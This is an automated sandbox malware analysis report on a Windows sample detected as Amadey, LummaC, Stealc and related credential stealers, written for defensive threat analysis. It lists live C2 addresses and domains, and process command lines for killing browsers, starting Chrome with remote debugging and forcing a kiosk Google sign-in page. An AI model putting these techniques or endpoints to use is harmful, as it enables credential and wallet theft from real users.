Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559027
MD5:	ae02d850933fa9d3d3c279d35ef3999f
SHA1:	af76857b01bf1bee33df23bc72f9ea0b458303ce
SHA256:	14f5fa438f09da397b2ff9b35614c77bef6be69bbff90443ac53d9c1257e839d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops large PE files

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\file.exe" MD5: AE02D850933FA9D3D3C279D35EF3999F)

skotes.exe (PID: 7500 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: AE02D850933FA9D3D3C279D35EF3999F)

skotes.exe (PID: 7612 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: AE02D850933FA9D3D3C279D35EF3999F)

skotes.exe (PID: 8168 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: AE02D850933FA9D3D3C279D35EF3999F)

e6b1d28aa7.exe (PID: 3736 cmdline: "C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe" MD5: 2CA191450D69DCBEE0485F1C14135040)

chrome.exe (PID: 3156 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2304 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3976 --field-trial-handle=3724,i,9325009956021330701,4654565816602240411,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

2bfd73b1c9.exe (PID: 6472 cmdline: "C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe" MD5: C6774985FC109440CE01C0BDF1978A96)

chrome.exe (PID: 6520 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

0a29ef6c7c.exe (PID: 7564 cmdline: "C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe" MD5: AF00FAE5BF606001C0C6EF0B98FB54D0)

chrome.exe (PID: 7944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3520 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2192,i,10143600070670810817,6561636466335868075,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

WerFault.exe (PID: 4432 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7564 -s 1616 MD5: C31336C1EFC2CCB44B4326EA793040F2)

dc933f0ab5.exe (PID: 7756 cmdline: "C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe" MD5: 5DDBDA8BAEF12CDD69941B253FEE8AEC)

taskkill.exe (PID: 7776 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5544 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2344 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6248 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6488 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6276 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2000,i,3630116307602199146,12526742274000861994,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

firefox.exe (PID: 6632 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

9f58872eb6.exe (PID: 6412 cmdline: "C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe" MD5: 8016E5D93E55BB0356C789BB6BA0BDBE)

2bfd73b1c9.exe (PID: 5768 cmdline: "C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe" MD5: C6774985FC109440CE01C0BDF1978A96)

chrome.exe (PID: 5124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7812 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=1968,i,13235813427011115255,13293806181875594211,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

firefox.exe (PID: 6752 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6804 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7852 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a22515df-c2f6-4def-b0a3-50c2d0523f06} 6804 "\\.\pipe\gecko-crash-server-pipe.6804" 17a4c66db10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

0a29ef6c7c.exe (PID: 5544 cmdline: "C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe" MD5: AF00FAE5BF606001C0C6EF0B98FB54D0)

dc933f0ab5.exe (PID: 3696 cmdline: "C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe" MD5: 5DDBDA8BAEF12CDD69941B253FEE8AEC)

taskkill.exe (PID: 5576 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5332 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7940 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 420 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 644 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6252 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2104 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3732 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aeeedf46-2f60-4eac-96e9-0a864b8e5887} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 18e2ca70110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7716 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4592 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4640 -prefMapHandle 4620 -prefsLen 32179 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4540decc-a3fa-47ce-8ea7-ddae47348ca5} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 18e48568d10 utility MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

2bfd73b1c9.exe (PID: 432 cmdline: "C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe" MD5: C6774985FC109440CE01C0BDF1978A96)

chrome.exe (PID: 7904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2020,i,10916342285601076747,13162167877453187169,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "p10tgrace.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000003.2635825594.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2733630600.0000000001302000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2664289942.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2737884939.0000000001302000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1812404979.00000000003F1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2671611085.00000000012FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2670909986.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2575809178.0000000001703000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000000E.00000003.2635973721.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1772097071.0000000004B90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2730040603.00000000012FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2731692250.0000000001302000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2636125036.0000000001309000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2741369603.0000000001302000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2745089723.0000000001306000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1804111441.00000000003F1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2730714107.0000000001301000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2537752002.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1727318068.00000000048A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2736342039.0000000001302000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2926513601.0000000000931000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.2739746327.0000000001302000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1767876609.00000000003F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2740498502.0000000001302000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1763832451.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2315535039.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.2703472620.0000000005320000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.2728512835.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2732924987.0000000001302000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2702561974.00000000012FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2699868123.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2bfd73b1c9.exe PID: 6472	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2bfd73b1c9.exe PID: 6472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2bfd73b1c9.exe PID: 6472	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0a29ef6c7c.exe PID: 7564	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 0a29ef6c7c.exe PID: 7564	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: dc933f0ab5.exe PID: 7756	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 2bfd73b1c9.exe PID: 5768	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2bfd73b1c9.exe PID: 5768	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2bfd73b1c9.exe PID: 5768	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.3f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.3f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.3f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8168, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2bfd73b1c9.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe, ParentProcessId: 7564, ParentProcessName: 0a29ef6c7c.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7944, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8168, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2bfd73b1c9.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:20.639341+0100	2028371	3	Unknown Traffic	192.168.2.4	62507	188.114.97.3	443	TCP
2024-11-20T04:08:21.855371+0100	2028371	3	Unknown Traffic	192.168.2.4	62514	188.114.97.3	443	TCP
2024-11-20T04:08:23.476458+0100	2028371	3	Unknown Traffic	192.168.2.4	62526	188.114.97.3	443	TCP
2024-11-20T04:08:25.199703+0100	2028371	3	Unknown Traffic	192.168.2.4	62537	188.114.97.3	443	TCP
2024-11-20T04:08:26.714304+0100	2028371	3	Unknown Traffic	192.168.2.4	62543	188.114.97.3	443	TCP
